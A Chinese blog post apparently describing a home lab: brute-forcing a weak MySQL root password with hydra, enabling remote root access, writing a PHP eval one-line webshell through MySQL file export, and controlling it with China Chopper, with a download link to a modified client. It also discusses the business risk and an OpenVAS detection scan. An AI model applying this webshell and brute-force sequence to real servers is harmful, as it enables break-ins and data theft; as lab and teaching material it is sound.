MySQL弱密码和webshell(附可用于php7的菜刀)


MySQL弱密码和webshell


了解漏洞

Mysql是什么?

Mysql是一种典型的小型的关系型数据库,通常用于网站后台数据库。一般为lamp或者wamp构成一般web服务器。他一般默认端口是3306。

Mysql弱密码漏洞是什么

Mysql弱密码漏洞,就是说mysql的root用户的没有密码,或者密码太简单,太短,容易被猜测或者被爆破。可以被攻击者用来恶意登录,窃取数据库信息,而且一般mysql作为网站后台数据库,所以可能导致被攻击者获取网站权限,getshell。

分析漏洞产生原理

具体漏洞产生的原理是什么

Mysql的弱口令漏洞主要是因为管理员没有安全意识,使用了mysql的默认密码,之前的版本默认密码是空的很多人没有更改,但是mysql5.7之后就不允许密码为空了,安装的时候就会让你输入密码了。然后一些人改了密码,但是密码太弱了,短的纯数字的等等,很容易被爆破。

Mysql结合webshell有什么危害

通过web注入获取webshell我有过一定的经历,所以也知道这其中的危害。注入也是获取数据库信息,如果攻击者获取了mysql的权限,获取了数据,便可得到数据库数据,同时网站的许多敏感信息都是存放的数据库中的,比如用户名密码,管理员账号密码。然而加密往往都是MD5,基本上简单的md5都可以通过网上的彩虹表匹配找到对应的密码。然后攻击者便可利用账号密码登录web后台,利用上传木马等手段,更可获取网站服务器的权限,甚至之后的内网等等。所以说mysql结合webshell的危害是很可怕的。

漏洞重现和利用

安装lamp(linux+apache+mysql+php)环境

本来想直接用我装好的wamp的,不过由于lamp使用更加广泛,所以这次搭建一个lamp的环境进行测试。

安装apache

$ dnf install httpd –y
$ systemctl enable httpd
$ systemctl start httpd

安装好之后,开启了服务就在浏览器上输入127.0.0.1:8080(我设置成了8080,没有更改的话就是80)访问看看有没有成功开启apacge服务,如下图:


1.png

安装mysql

$ dnf install [https://dev.mysql.com/get/mysql57-community-release-fc26-10.noarch.rpm](https://dev.mysql.com/get/mysql57-community-release-fc26-10.noarch.rpm)
$ dnf install mysql-community-server
$ systemctl start mysqld.service    //启动mysql服务器并同时自动启动mysql
$ systemctl enable mysqld.service
$ grep 'A temporary password is generated for root@localhost' /var/log/mysqld.log |tail -1 //获取随机生成的root密码

然后设置mysql的安全配置:

$ /usr/bin/mysql_secure_installatio

主要是进行更改root密码,是否删除匿名用户,是否允许远程root登录,是否删除测试数据库并访问它,是否重新加载特权表等进行配置。最重要的就是更改系统自动生成的密码。

安装php

$ dnf install php –y
$ vi /var/www/html/test.php     //检查php是否成功安装
$ <? phpphpinfo(); ?>   //文本写入
$ systemctl restart httpd     //重启apache

然后访问127.0.0.1:8080/test.php


2.png

可以看到php环境配置成功了,然后需要安装php模块,主要是用于连接php和mysql 的:

$ dnf search php
$ dnf install php-mysql –y
$ systemctl restart httpd

安装好之后重启了apache之后再次看页面:


3.png

模块安装成功。

安装hydra

这个网上很多教程,我这里贴一下命令就是了:

$ yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel
4.png

利用hydra进行mysql弱密码攻击

我先利用自己之前收集的弱密码,选了top2000,然后生成密码字典,用于爆破。因为我的mysql密码并不是弱密码,所以为了实现成功爆破我把我的密码也加入了密码字典:


5.png

开始之前先用nmap扫描一下主机,确定端口开放情况:


6_LI (2).jpg

可以看到nmap扫描到了端口3306开放,服务就是mysql。接下来便可以利用hydra对3306端口进行爆破:
7_LI.jpg

Bingo!成功爆破出了密码,但是这个过程出现了很多的问题,首先就是命令不对,导致一直出现爆破不出来的问题,然后我以为只是mysql最大连接数的问题,于是把最大连接数改成了2000,然后重新来,还是有问题:


8.png

这个是一开始我使用的命令,后面换了下面的命令就成功了:
$ Hydra –l root –P password.txt 127.0.0.1 mysql

当然这里也可以同时使用用户名字典和密码字典,但是因为mysql基本都是root,所以我就直接用root,但是用户字典也很重要。
扫出了密码下面便可进行写入webshell了。
为了保证实验正确性,我使用另一台主机进行写入webshell进行远程连接。


9.png

但是发现我发远程连接,去服务器上看发现果然,root只支持在本地访问:


10.png

我们更改一下,把localhost更改为%,这样就可以支持任意地址访问了。
11.png

这样就ok啦!
12.png

然后进行写入php一句话,但是导出时发现文件被限制了输出位置,然后我在my.cnf中加入secure-file-priv = ‘’:


13.png

但是发现还是权限不够,发现是输出目录权限问题,使用chomd 777 www 命令授予权限,最后成功执行。下图因为当时已经输出了没有截图,我就又执行了一遍。
14.png

然后写入一句话,接下来就可以用菜刀啦!
15.png

16.png

成功连接!

如果公司的mysql存在弱密码会有怎样的风险?

如果某个公司的web服务器存在弱密码,很有可能被攻击者利用,破解,爆破出了数据库用户密码,这会致使公司网站信息,内部信息被窃取,许多敏感信息暴露,甚至可能被攻击者勒索。其次,如果攻击者获取数据权限后还获取了webshell,进行提权等操作之后,便可获得公司服务器的权限,造成更严重的信息泄露。

使用openvas对该漏洞进行扫描

因为怕扫不出来所以我不mysql的密码改成了123456.


17.png

18.png

可以看到成功的扫描出了mysql weak password。Mysql的弱密码,点进去可以看到,mysql中root用户的密码已经被爆出来了,为123456;同时可以看到这是一个高危漏洞,评分为9.0分。

一些问题的解决

在利用webshell时确保主机能访问靶机的apache服务。这样才能保证菜刀可以连接成功。还有就是在高版本的php新增了安全策略会自动过滤非法提交的post或get参数,所以这样导致了很多同学用菜刀连接失败,响应确实200.因为一句话执行了,但是get参数没有成功转换为变量。写入webshell时最主要的就是权限问题了。Mysql5.7中写入导出指定了文件夹,使我们不能成功将一句话写入到指定的的文件夹。我在my.cnf加入上面提到的代码,使可以导出到任意有权限的目录。

因为当php7时因为菜刀无法连接的问题,所以使用手动的方法连接。所以我将传递的一句话<? php eval($_POST[cmd]); ?> 里面的POST传递模式改为了GET这样方便演示,因为post的话还需要抓包更改,但也是可以的。


19.png

可以看到,将语句赋值给cmd之后便可传过去执行。其实就是菜刀把我们传过去的cmd设置成为全局变量,然后我们传参之后就可以进行语句执行,菜刀就是集成这些语句。
因为get传参有长度限制,所以我使用postman来进行post的传参查询


20.png

网上找了查询php查询文件的代码,成功查询到了目录下的文件,然后输入不同函数就可以执行了。比如下载等,菜刀其实就是集成了这些代码的工具,我们通过自己手动测试也可以达到一样的效果。所以猜测php7中的一句话无法用菜刀连接的可能是因为php7中对菜刀中集成的代码中的某个重要函数进行了过滤,所以菜刀不能连接,我们自己写的却可以。
还有其他方法,比如直接写入了webshell大马,直接连接。
21.png

但是就是大马写入的时候比较麻烦,代码较长。写入数据库时比较麻烦,而且不容易伪装,很容易被发现。

解决php7无法使用菜刀连接一句话问题

因为php7对菜刀的过滤,所以博主分析一个更改后可以在php7环境下连接一句话的java版菜刀,mac和win都可以用
百度网盘:https://pan.baidu.com/s/1d28kqi

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,378评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,356评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,702评论 0 342
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,259评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,263评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,036评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,349评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,979评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,469评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,938评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,059评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,703评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,257评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,262评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,485评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,501评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,792评论 2 345

推荐阅读更多精彩内容

  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,812评论 0 9
  • 作者:Gilberto Najera-Gutierrez译者:飞龙协议:CC BY-NC-SA 4.0 简介 这章...
    三月行者阅读 1,877评论 2 7
  • 第六章 利用 -- 低悬的果实 作者:Gilberto Najera-Gutierrez 译者:飞龙 协议:CC ...
    布客飞龙阅读 9,424评论 1 51
  • 记得小时候的我还是挺喜欢写作的,喜欢一些小小诗句,可是长大之后也没有好好的读书,把小时候的一点书香气质都磨灭了,生...
    焦莉阅读 140评论 0 0
  • 我想忘 忘了快乐,忘了烦忧 忘了 忘 让余生变成一场修行 我不知有何神可依 有何物可信 但,我要去修行 哪怕依了...
    漠塘阅读 248评论 6 4